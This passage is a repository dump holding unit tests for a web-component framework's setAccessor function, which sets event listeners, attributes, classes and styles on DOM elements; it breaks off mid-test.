Content</p>\n            </slot>\n          </div>\n        );\n      }\n    }\n    const { root } = await newSpecPage({\n      components: [NonShadowFallbackSlotTest],\n      html: `<fallback-test><span>Content</span></fallback-test>`,\n    });\n\n    expect(root.firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    expect(root.firstElementChild.children[0]).toHaveAttribute('hidden');\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/set-accessor.spec.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport { parseClassList, setAccessor } from '../set-accessor';\n\ndescribe('setAccessor for custom elements', () => {\n  let elm: any;\n\n  beforeEach(() => {\n    elm = document.createElement('my-tag');\n  });\n\n  describe('event listener', () => {\n    it('should allow public method starting with \"on\" and capital 3rd character', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n\n      elm.onMyMethod = () => {\n        /**/\n      };\n\n      const fn = () => {\n        /**/\n      };\n      setAccessor(elm, 'onMyMethod', undefined, fn, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledTimes(0);\n    });\n\n    it('should remove standardized event listener when has old value, but no new', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const orgValue = () => {\n        /**/\n      };\n      setAccessor(elm, 'onClick', undefined, orgValue, false, 0);\n\n      setAccessor(elm, 'onClick', orgValue, undefined, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledTimes(1);\n      expect(addEventSpy).toHaveBeenCalledWith('click', orgValue, false);\n      expect(removeEventSpy).toHaveBeenCalledWith('click', orgValue, false);\n    });\n\n    it('should remove standardized multiple-word then add event listener w/ different value', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const orgValue = () => {\n        /**/\n      };\n      setAccessor(elm, 'onMouseOver', undefined, orgValue, false, 0);\n\n      setAccessor(elm, 'onMouseOver', orgValue, undefined, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledWith('mouseover', orgValue, false);\n      expect(removeEventSpy).toHaveBeenCalledWith('mouseover', orgValue, false);\n    });\n\n    it('should remove standardized then add event listener w/ different value', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const orgValue = () => {\n        /**/\n      };\n      setAccessor(elm, 'onClick', undefined, orgValue, false, 0);\n\n      const newValue = () => {\n        /**/\n      };\n      setAccessor(elm, 'onClick', orgValue, newValue, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledTimes(2);\n      expect(removeEventSpy).toHaveBeenCalledTimes(1);\n    });\n\n    it('should add custom event listener when no old value', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const newValue = () => {\n        /**/\n      };\n\n      setAccessor(elm, 'onIonChange', undefined, newValue, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledWith('ionChange', newValue, false);\n      expect(removeEventSpy).not.toHaveBeenCalled();\n    });\n\n    it('should add standardized multiple-word event listener when no old value', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const newValue = () => {\n        /**/\n      };\n\n      setAccessor(elm, 'onMouseOver', undefined, newValue, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledWith('mouseover', newValue, false);\n      expect(removeEventSpy).not.toHaveBeenCalled();\n    });\n\n    it('should add standardized event listener when no old value', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const newValue = () => {\n        /**/\n      };\n\n      setAccessor(elm, 'onClick', undefined, newValue, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledWith('click', newValue, false);\n      expect(removeEventSpy).not.toHaveBeenCalled();\n    });\n\n    it('should add a capture style event listener', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const newValue = () => {\n        /**/\n      };\n\n      setAccessor(elm, 'onClickCapture', undefined, newValue, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledWith('click', newValue, true);\n      expect(removeEventSpy).not.toHaveBeenCalled();\n    });\n\n    it('should remove a capture style event listener', () => {\n      const addEventSpy = jest.spyOn(elm, 'addEventListener');\n      const removeEventSpy = jest.spyOn(elm, 'removeEventListener');\n\n      const orgValue = () => {\n        /**/\n      };\n\n      setAccessor(elm, 'onClickCapture', undefined, orgValue, false, 0);\n      setAccessor(elm, 'onClickCapture', orgValue, undefined, false, 0);\n\n      expect(addEventSpy).toHaveBeenCalledTimes(1);\n      expect(addEventSpy).toHaveBeenCalledWith('click', orgValue, true);\n      expect(removeEventSpy).toHaveBeenCalledWith('click', orgValue, true);\n    });\n  });\n\n  it('should set part as an attribute on a custom element', () => {\n    setAccessor(elm, 'part', undefined, 'my-part', false, 0);\n    expect(elm.getAttribute('part')).toBe('my-part');\n  });\n\n  it('should update part attribute on a custom element', () => {\n    setAccessor(elm, 'part', undefined, 'old-part', false, 0);\n    expect(elm.getAttribute('part')).toBe('old-part');\n\n    setAccessor(elm, 'part', 'old-part', 'new-part', false, 0);\n    expect(elm.getAttribute('part')).toBe('new-part');\n  });\n\n  it('should remove part attribute when value is null', () => {\n    setAccessor(elm, 'part', undefined, 'my-part', false, 0);\n    expect(elm.getAttribute('part')).toBe('my-part');\n\n    setAccessor(elm, 'part', 'my-part', null, false, 0);\n    expect(elm.hasAttribute('part')).toBe(false);\n  });\n\n  it('should set object property to child', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = { some: 'obj' };\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBe(newValue);\n    expect(elm.hasAttribute('myprop')).toBe(false);\n  });\n\n  it('should set array property to child', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = [1, 2, 3];\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBe(newValue);\n    expect(elm.hasAttribute('myprop')).toBe(false);\n  });\n\n  it('should not set ref as a property', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = function meFun() {\n      /**/\n    };\n\n    setAccessor(elm, 'ref', oldValue, newValue, false, 0);\n    expect(elm.ref).toBeUndefined();\n    expect(elm.hasAttribute('ref')).toBe(false);\n  });\n\n  it('should set function property to child', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = function meFun() {\n      /**/\n    };\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBe(newValue);\n    expect(elm.hasAttribute('myprop')).toBe(false);\n  });\n\n  it('should set null property to child and it is a child prop', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = null;\n    elm.myprop = oldValue;\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.hasAttribute('myprop')).toBe(false);\n  });\n\n  it('should set string property to child when child already has that property', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = 'stringval';\n    elm.myprop = oldValue;\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBe('stringval');\n    expect(elm.hasAttribute('myprop')).toBe(false);\n  });\n\n  it('should set null property to child when known child component should have that property', () => {\n    elm = document.createElement('cmp-a');\n\n    const oldValue: any = 'someval';\n    const newValue: any = null;\n    elm.cmpAprop = oldValue;\n\n    setAccessor(elm, 'cmpAprop', oldValue, newValue, false, 0);\n    expect(elm.cmpAprop).toBe(null);\n    expect(elm.hasAttribute('cmpAprop')).toBe(false);\n  });\n\n  it('should do nothing when setting null prop but child doesnt have that prop', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = null;\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBeUndefined();\n    expect(elm.hasAttribute('myprop')).toBe(false);\n  });\n\n  it('should do nothing when setting undefined prop but child doesnt have that prop', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = undefined;\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBeUndefined();\n    expect(elm.hasAttribute('myprop')).toBe(false);\n\n    const propDesc = Object.getOwnPropertyDescriptor(elm, 'myprop');\n    expect(propDesc).toBeUndefined();\n  });\n\n  it('should set false boolean to attribute', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = false;\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBeUndefined();\n\n    expect(elm).toEqualAttributes({});\n  });\n\n  it('should add aria role attribute', () => {\n    setAccessor(elm, 'role', undefined, 'tab', true, 0);\n    expect(elm.hasAttribute('role')).toBe(true);\n    expect(elm.getAttribute('role')).toBe('tab');\n  });\n\n  it('should update aria role attribute', () => {\n    elm.setAttribute('role', 'tab');\n\n    setAccessor(elm, 'role', 'tab', 'other', true, 0);\n    expect(elm.getAttribute('role')).toBe('other');\n  });\n\n  it('should remove aria role attribute', () => {\n    elm.setAttribute('role', 'tab');\n\n    setAccessor(elm, 'role', 'tab', undefined, true, 0);\n    expect(elm.hasAttribute('role')).toBe(false);\n  });\n\n  it('should update svg attribute', () => {\n    elm.setAttribute('transform', 'rotate(45 72 72)');\n    const oldValue: any = 'rotate(45 72 72)';\n    const newValue: any = 'rotate(45 27 27)';\n\n    setAccessor(elm, 'transform', oldValue, newValue, true, 0);\n    expect(elm.transform).toBeUndefined();\n    expect(elm.getAttribute('transform')).toBe('rotate(45 27 27)');\n  });\n\n  it('should add svg attribute', () => {\n    const oldValue: any = undefined;\n    const newValue: any = 'rotate(45 27 27)';\n\n    setAccessor(elm, 'transform', oldValue, newValue, true, 0);\n    expect(elm.transform).toBeUndefined();\n    expect(elm.hasAttribute('transform')).toBe(true);\n  });\n\n  it('should remove svg attribute', () => {\n    elm.setAttribute('transform', 'rotate(45 27 27)');\n    const oldValue: any = 'rotate(45 27 27)';\n    const newValue: any = undefined;\n\n    setAccessor(elm, 'transform', oldValue, newValue, true, 0);\n    expect(elm.transform).toBeUndefined();\n    expect(elm.hasAttribute('transform')).toBe(false);\n  });\n\n  it('should set true boolean to attribute', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = true;\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBeUndefined();\n    expect(elm).toEqualAttributes({ myprop: '' });\n  });\n\n  it('should set number to attribute', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = 88;\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBeUndefined();\n    expect(elm).toEqualAttributes({ myprop: '88' });\n  });\n\n  it('should set string to attribute', () => {\n    const oldValue: any = 'someval';\n    const newValue: any = 'stringval';\n\n    setAccessor(elm, 'myprop', oldValue, newValue, false, 0);\n    expect(elm.myprop).toBeUndefined();\n    expect(elm).toEqualAttributes({ myprop: 'stringval' });\n  });\n\n  it('ignore when updating readonly properties', () => {\n    const readOnlyProp = 'namespaceURI';\n    const oldReadOnlyVal = 'http://www.w3.org/1999/xhtml';\n    setAccessor(elm, readOnlyProp, oldReadOnlyVal, 'foobar', false, 0);\n    expect(elm[readOnlyProp]).toBe(oldReadOnlyVal);\n  });\n});\n\ndescribe('setAccessor for inputs', () => {\n  describe('simple attributes', () => {\n    describe('should not add attribute when prop is undefined or null', () => {\n      function expectStraightForwardAttribute(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        expect(inputElm.hasAttribute(propName)).toBe(false);\n      }\n\n      it(`aria-disabled`, () => {\n        expectStraightForwardAttribute('aria-disabled', undefined, undefined);\n        expectStraightForwardAttribute('aria-disabled', null, undefined);\n      });\n      it(`autoCapitalize`, () => {\n        expectStraightForwardAttribute('autoCapitalize', undefined, undefined);\n        expectStraightForwardAttribute('autoCapitalize', null, undefined);\n      });\n      it(`autoComplete`, () => {\n        expectStraightForwardAttribute('autoComplete', undefined, undefined);\n        expectStraightForwardAttribute('autoComplete', null, undefined);\n      });\n      it(`autoCorrect`, () => {\n        expectStraightForwardAttribute('autoCorrect', undefined, undefined);\n        expectStraightForwardAttribute('autoCorrect', null, undefined);\n      });\n      it(`autoFocus`, () => {\n        expectStraightForwardAttribute('autoFocus', undefined, undefined);\n        expectStraightForwardAttribute('autoFocus', null, undefined);\n      });\n      it(`inputMode`, () => {\n        expectStraightForwardAttribute('inputMode', undefined, undefined);\n        expectStraightForwardAttribute('inputMode', null, undefined);\n      });\n      it(`results`, () => {\n        expectStraightForwardAttribute('results', undefined, undefined);\n        expectStraightForwardAttribute('results', null, undefined);\n      });\n      it(`spellCheck`, () => {\n        expectStraightForwardAttribute('spellCheck', undefined, undefined);\n        expectStraightForwardAttribute('spellCheck', null, undefined);\n      });\n\n      it('checked', () => {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, 'checked', false, true, false, 0);\n        expect(inputElm.checked).toEqual(true);\n\n        setAccessor(inputElm, 'checked', true, false, false, 0);\n        expect(inputElm.checked).toEqual(false);\n      });\n    });\n\n    describe('should update when prop is defined', () => {\n      function expectStraightForwardAttribute(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        const expected = newValue === true ? '' : newValue.toString();\n        expect(inputElm).toEqualAttributes({ [propName]: expected });\n      }\n\n      it(`aria-disabled should be added when set to true`, () => {\n        expectStraightForwardAttribute('aria-disabled', true, undefined);\n      });\n      it(`autoCapitalize should be added when set to 'sentences'`, () => {\n        expectStraightForwardAttribute('autoCapitalize', 'sentences', undefined);\n      });\n      it(`autoComplete should be added when set to true`, () => {\n        expectStraightForwardAttribute('autoComplete', true, undefined);\n      });\n      it(`autoCorrect should be added when set to true`, () => {\n        expectStraightForwardAttribute('autoCorrect', true, undefined);\n      });\n      it(`autoFocus should be added when set to true`, () => {\n        expectStraightForwardAttribute('autoFocus', true, undefined);\n      });\n      it(`inputMode should be added when set to 'numeric'`, () => {\n        expectStraightForwardAttribute('inputMode', 'numeric', undefined);\n      });\n      it(`results should be added when set to 'blah'`, () => {\n        expectStraightForwardAttribute('results', 'blah', undefined);\n      });\n      it(`spellCheck should be added when set to true`, () => {\n        expectStraightForwardAttribute('spellCheck', true, undefined);\n      });\n    });\n  });\n\n  describe('special attributes', () => {\n    describe('should not add attribute when prop is undefined or null', () => {\n      function expectSpecialAttribute(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        expect(inputElm).toEqualAttributes({});\n      }\n\n      it(`accept`, () => {\n        expectSpecialAttribute('accept', undefined, undefined);\n        expectSpecialAttribute('accept', null, undefined);\n      });\n\n      it(`minLength`, () => {\n        expectSpecialAttribute('minLength', undefined, undefined);\n        expectSpecialAttribute('minLength', null, undefined);\n      });\n\n      it(`maxLength`, () => {\n        expectSpecialAttribute('maxLength', undefined, undefined);\n        expectSpecialAttribute('maxLength', null, undefined);\n      });\n      it(`name`, () => {\n        expectSpecialAttribute('name', undefined, undefined);\n        expectSpecialAttribute('name', null, undefined);\n      });\n      it(`pattern`, () => {\n        expectSpecialAttribute('pattern', undefined, undefined);\n        expectSpecialAttribute('pattern', null, undefined);\n      });\n      it(`placeholder`, () => {\n        expectSpecialAttribute('placeholder', undefined, undefined);\n        expectSpecialAttribute('placeholder', null, undefined);\n      });\n      it(`step`, () => {\n        expectSpecialAttribute('step', undefined, undefined);\n        expectSpecialAttribute('step', null, undefined);\n      });\n      it(`size`, () => {\n        expectSpecialAttribute('size', undefined, undefined);\n        expectSpecialAttribute('size', null, undefined);\n      });\n      it(`type`, () => {\n        expectSpecialAttribute('type', undefined, undefined);\n        expectSpecialAttribute('type', null, undefined);\n      });\n    });\n\n    describe('should update when prop is defined', () => {\n      function expectSpecialAttributeDefined(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        expect(inputElm).toEqualAttributes({ [propName]: newValue.toString() });\n        expect((inputElm as any)[propName]).toBe(newValue);\n      }\n\n      it(`accept should be added when set to 'text/html'`, () => {\n        expectSpecialAttributeDefined('accept', 'text/html', undefined);\n      });\n      it(`minLength should be added when set to 10`, () => {\n        expectSpecialAttributeDefined('minLength', 10, undefined);\n      });\n      it(`maxLength should be added when set to 100`, () => {\n        expectSpecialAttributeDefined('maxLength', 100, undefined);\n      });\n      it(`name should be added when set to 'test'`, () => {\n        expectSpecialAttributeDefined('name', 'test', undefined);\n      });\n      it(`pattern should be added when set to '[a-zA-Z0-9]+'`, () => {\n        expectSpecialAttributeDefined('pattern', '[a-zA-Z0-9]+', undefined);\n      });\n      it(`placeholder should be added when set to 'text placeholder'`, () => {\n        expectSpecialAttributeDefined('placeholder', 'text placeholder', undefined);\n      });\n      it(`step should be added when set to 'any'`, () => {\n        expectSpecialAttributeDefined('step', 'any', undefined);\n      });\n      it(`size should be added when set to 40`, () => {\n        expectSpecialAttributeDefined('size', 40, undefined);\n      });\n      it(`type should be added when set to 'tel'`, () => {\n        expectSpecialAttributeDefined('type', 'tel', undefined);\n      });\n    });\n  });\n\n  describe('boolean attributes', () => {\n    describe('should not add attribute when prop is undefined or null', () => {\n      function expectBooleanAttribute(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        expect(inputElm.hasAttribute(propName)).toBe(false);\n      }\n\n      it(`disabled`, () => {\n        expectBooleanAttribute('disabled', undefined, undefined);\n        expectBooleanAttribute('disabled', null, undefined);\n      });\n      it(`multiple`, () => {\n        expectBooleanAttribute('multiple', undefined, undefined);\n        expectBooleanAttribute('multiple', null, undefined);\n      });\n      it(`required`, () => {\n        expectBooleanAttribute('required', undefined, undefined);\n        expectBooleanAttribute('required', null, undefined);\n      });\n      it(`readOnly`, () => {\n        expectBooleanAttribute('readOnly', undefined, undefined);\n        expectBooleanAttribute('readOnly', null, undefined);\n      });\n    });\n\n    describe('should update when prop is defined', () => {\n      function expectBooleanAttributeDefined(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        expect(inputElm).toEqualAttributes({ [propName]: '' });\n        expect((inputElm as any)[propName]).toBe(newValue);\n      }\n\n      it(`disabled should be added when set to true`, () => {\n        expectBooleanAttributeDefined('disabled', true, undefined);\n      });\n      it(`multiple should be added when set to true`, () => {\n        expectBooleanAttributeDefined('multiple', true, undefined);\n      });\n      it(`required should be added when set to true`, () => {\n        expectBooleanAttributeDefined('required', true, undefined);\n      });\n      it(`readOnly should be added when set to true`, () => {\n        expectBooleanAttributeDefined('readOnly', true, undefined);\n      });\n    });\n  });\n\n  describe('min/max attributes', () => {\n    describe('should not add attribute when prop is undefined or null', () => {\n      function expectMinMaxAttribute(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        expect(inputElm.hasAttribute(propName)).toBe(false);\n      }\n\n      it(`min`, () => {\n        expectMinMaxAttribute('min', undefined, undefined);\n        expectMinMaxAttribute('min', null, undefined);\n      });\n      it(`max`, () => {\n        expectMinMaxAttribute('max', undefined, undefined);\n        expectMinMaxAttribute('max', null, undefined);\n      });\n    });\n\n    describe('should update when prop is defined', () => {\n      function expectMinMaxAttributeDefined(propName: string, newValue: any, oldValue: any) {\n        const inputElm = document.createElement('input');\n        setAccessor(inputElm, propName, oldValue, newValue, false, 0);\n\n        expect(inputElm).toEqualAttributes({ [propName]: newValue.toString() });\n        expect((inputElm as any)[propName]).toBe(newValue.toString());\n      }\n\n      it(`min should be added when set to 20`, () => {\n        expectMinMaxAttributeDefined('min', 20, undefined);\n      });\n      it(`max should be added when set to 40`, () => {\n        expectMinMaxAttributeDefined('max', 40, undefined);\n      });\n    });\n  });\n});\n\ndescribe('setAccessor for standard html elements', () => {\n  beforeEach(() => {\n    BUILD.hydrateClientSide = true;\n  });\n\n  describe('simple global attributes', () => {\n    it('should not add attribute when prop is undefined or null', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'title', undefined, undefined, false, 0);\n\n      expect(inputElm.hasAttribute('title')).toBe(false);\n    });\n\n    it('should add attribute when prop is string', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'title', undefined, 'lime', false, 0);\n\n      expect(inputElm.hasAttribute('title')).toBe(true);\n    });\n\n    it('should add attribute when prop is boolean', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, true, false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(true);\n    });\n\n    it('should add attribute when prop is number', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, 1, false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(true);\n    });\n\n    it('should remove attribute when prop is undefined', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'title', undefined, 'lime', false, 0);\n      setAccessor(inputElm, 'title', 'lime', undefined, false, 0);\n\n      expect(inputElm.hasAttribute('title')).toBe(false);\n    });\n\n    it('should remove attribute when prop is null', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'title', undefined, 'lime', false, 0);\n      setAccessor(inputElm, 'title', 'lime', null, false, 0);\n\n      expect(inputElm.hasAttribute('title')).toBe(false);\n    });\n  });\n\n  describe('simple nonstandard attributes', () => {\n    it('should not add attribute when prop is undefined or null', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, undefined, false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(false);\n    });\n\n    it('should add attribute when prop is string', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, 'lime', false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(true);\n    });\n\n    it('should add attribute when prop is boolean', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, true, false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(true);\n    });\n\n    it('should add attribute when prop is number', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, 1, false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(true);\n    });\n\n    it('should aria role attribute', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'role', undefined, 'main', false, 0);\n\n      expect(inputElm.hasAttribute('role')).toBe(true);\n    });\n\n    it('should remove attribute when prop is undefined', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, 1, false, 0);\n      setAccessor(inputElm, 'color', 1, undefined, false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(false);\n    });\n\n    it('should remove attribute when prop is null', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'color', undefined, 1, false, 0);\n      setAccessor(inputElm, 'color', 1, null, false, 0);\n\n      expect(inputElm.hasAttribute('color')).toBe(false);\n    });\n    it('should remove aria role attribute', () => {\n      const inputElm = document.createElement('section');\n      setAccessor(inputElm, 'role', undefined, 'main', false, 0);\n      setAccessor(inputElm, 'role', 'main', undefined, false, 0);\n\n      expect(inputElm.hasAttribute('role')).toBe(false);\n    });\n  });\n\n  describe('class attribute', () => {\n    it('should add classes', () => {\n      const elm = document.createElement('section');\n      setAccessor(elm, 'class', undefined, 'class1 class2   class3  ', false, 0);\n      expect(elm).toHaveClasses(['class1', 'class2', 'class3']);\n\n      setAccessor(elm, 'class', undefined, 'new', false, 0);\n      expect(elm).toHaveClasses(['class1', 'class2', 'class3', 'new']);\n\n      setAccessor(elm, 'class', '  class1 class2', 'new class4', false, 0);\n      expect(elm).toHaveClasses(['class3', 'new', 'class4']);\n\n      setAccessor(\n        elm,\n        'class',\n        undefined,\n        `class1\n              class2\n       class3  `,\n        false,\n        0,\n      );\n      expect(elm).toHaveClasses(['class1', 'class2', 'class3']);\n    });\n\n    it('should not add any classes', () => {\n      const elm = document.createElement('section');\n      setAccessor(elm, 'class', '', '', false, 0);\n      expect(elm).toHaveClasses([]);\n\n      setAccessor(elm, 'class', 'class1 class3 class2', 'class1 class2 class3', false, 0);\n      expect(elm).toHaveClasses([]);\n\n      setAccessor(elm, 'class', 'class1 class3 class2', undefined, false, 0);\n      expect(elm).toHaveClasses([]);\n\n      setAccessor(elm, 'class', undefined, undefined, false, 0);\n      expect(elm).toHaveClasses([]);\n\n      setAccessor(elm, 'class', '', `\\n      \\n      \\n     `, false, 0);\n      expect(elm).toHaveClasses([]);\n    });\n\n    it('should remove classes', () => {\n      const elm = document.createElement('section');\n      elm.classList.add('icon', 'ion-color');\n\n      setAccessor(elm, 'class', 'icon', 'icon2', false, 0);\n      expect(elm).toHaveClasses(['ion-color', 'icon2']);\n\n      setAccessor(\n        elm,\n        'class',\n        `icon\n           ion-color`,\n        'icon2',\n        false,\n        0,\n      );\n      expect(elm).toHaveClasses(['icon2']);\n    });\n\n    it('should not have duplicated classes', () => {\n      const elm = document.createElement('section');\n      elm.classList.add('md');\n\n      setAccessor(elm, 'class', undefined, 'md ios', false, 0);\n      expect(elm.className).toEqual('md ios');\n    });\n\n    it('should also add one class', () => {\n      const elm = document.createElement('section');\n      elm.classList.add('md');\n\n      setAccessor(elm, 'class', 'md', 'md ios', false, 0);\n      expect(elm.className).toEqual('md ios');\n    });\n\n    it('should remove one class', () => {\n      const elm = document.createElement('section');\n      elm.classList.add('md');\n\n      setAccessor(elm, 'class', 'md', '', false, 0);\n      expect(elm.className).toEqual('');\n    });\n\n    it('should add scope classes on initial render if `s-si` set', () => {\n      const elm = document.createElement('section');\n\n      // not s-si set\n      setAccessor(elm, 'class', 'a-scope-id', undefined, false, 0, true);\n      expect(elm.className).toEqual('');\n\n      (elm as any)['s-si'] = 'a-scope-id';\n\n      setAccessor(elm, 'class', '', undefined, false, 0, true);\n      expect(elm.className).toEqual('a-scope-id');\n\n      setAccessor(\n        elm,\n        'class',\n        'a-scope-id-something a-scope-id-something-else unrelated-old-thing',\n        undefined,\n        false,\n        0,\n        true,\n      );\n      expect(elm.className).toEqual('a-scope-id a-scope-id-something a-scope-id-something-else');\n\n      elm.className = '';\n      setAccessor(elm, 'class', 'something-old', 'something-new', false, 0, true);\n      expect(elm.className).toEqual('something-new a-scope-id');\n\n      elm.className = '';\n      setAccessor(elm, 'class', 'something-old a-scope-id-something', 'something-new', false, 0, true);\n      expect(elm.className).toEqual('something-new a-scope-id a-scope-id-something');\n\n      // just check it reverts to normal behavior after initial render\n      elm.className = '';\n      setAccessor(elm, 'class', 'something-old a-scope-id-something', 'something-new', false, 0);\n      expect(elm.className).toEqual('something-new');\n    });\n  });\n\n  describe('style attribute', () => {\n    it('should add styles', () => {\n      let elm = document.createElement('section');\n      const newStyles = {\n        'box-shadow': '1px',\n        color: 'blue',\n        paddingLeft: '88px',\n      };\n      setAccessor(elm, 'style', undefined, newStyles, false, 0);\n      expect(elm.style.cssText).toEqual('box-shadow: 1px; color: blue; padding-left: 88px;');\n\n      elm = document.createElement('my-tag');\n      setAccessor(\n        elm,\n        'style',\n        {},\n        {\n          'font-size': '12px',\n          marginRight: '55px',\n        },\n        false,\n        0,\n      );\n      expect(elm.style.cssText).toEqual('font-size: 12px; margin-right: 55px;');\n\n      elm = document.createElement('my-tag');\n      setAccessor(\n        elm,\n        'style',\n        {\n          'font-size': '12px',\n          color: 'blue',\n        },\n        {\n          'font-size': '20px',\n        },\n        false,\n        0,\n      );\n\n      expect(elm.style.cssText).toEqual('font-size: 20px;');\n    });\n\n    it('should not add styles', () => {\n      const elm = document.createElement('section');\n      setAccessor(elm, 'style', undefined, undefined, false, 0);\n      expect(elm.style.cssText).toEqual('');\n\n      setAccessor(\n        elm,\n        'style',\n        { color: 'blue', 'font-size': '12px', paddingLeft: '88px' },\n        { color: 'blue', 'font-size': '12px', paddingLeft: '88px' },\n        false,\n        0,\n      );\n      expect(elm.style.cssText).toEqual('');\n\n      setAccessor(elm, 'style', { color: 'blue', 'font-size': '12px' }, undefined, false, 0);\n      expect(elm.style.cssText).toEqual('');\n    });\n\n    it('should change styles only when it has a new value', () => {\n      const elm = document.createElement('section');\n      elm.style.setProperty('color', 'black');\n      elm.style.setProperty('padding', '20px');\n\n      setAccessor(\n        elm,\n        'style',\n        { color: 'blue', padding: '20px', marginRight: '88px' },\n        { color: 'blue', padding: '30px', marginRight: '55px' },\n        false,\n        0,\n      );\n\n      expect(elm.style.cssText).toEqual('color: black; padding: 30px; margin-right: 55px;');\n    });\n\n    it('should remove styles', () => {\n      const elm = document.createElement('section');\n      elm.style.setProperty('color', 'black');\n      elm.style.setProperty('padding', '20px');\n      elm.style.setProperty('margin', '20px');\n      elm.style.setProperty('font-size', '88px');\n\n      expect(elm.style.cssText).toEqual('color: black; padding: 20px; margin: 20px; font-size: 88px;');\n\n      setAccessor(elm, 'style', { color: 'black', padding: '20px', fontSize: '88px' }, undefined, false, 0);\n      expect(elm.style.cssText).toEqual('margin: 20px;');\n\n      setAccessor(elm, 'style', { margin: '20px' }, { margin: '30px', color: 'orange' }, false, 0);\n      expect(elm.style.cssText).toEqual('margin: 30px; color: orange;');\n    });\n  });\n\n  it('uses setAttribute if element has not setter', () => {\n    const elm = document.createElement('button');\n    const spy = jest.spyOn(elm, 'setAttribute');\n    setAccessor(elm, 'form', undefined, 'some-form', false, 0);\n    expect(spy.mock.calls).toEqual([['form', 'some-form']]);\n\n    const elm2 = 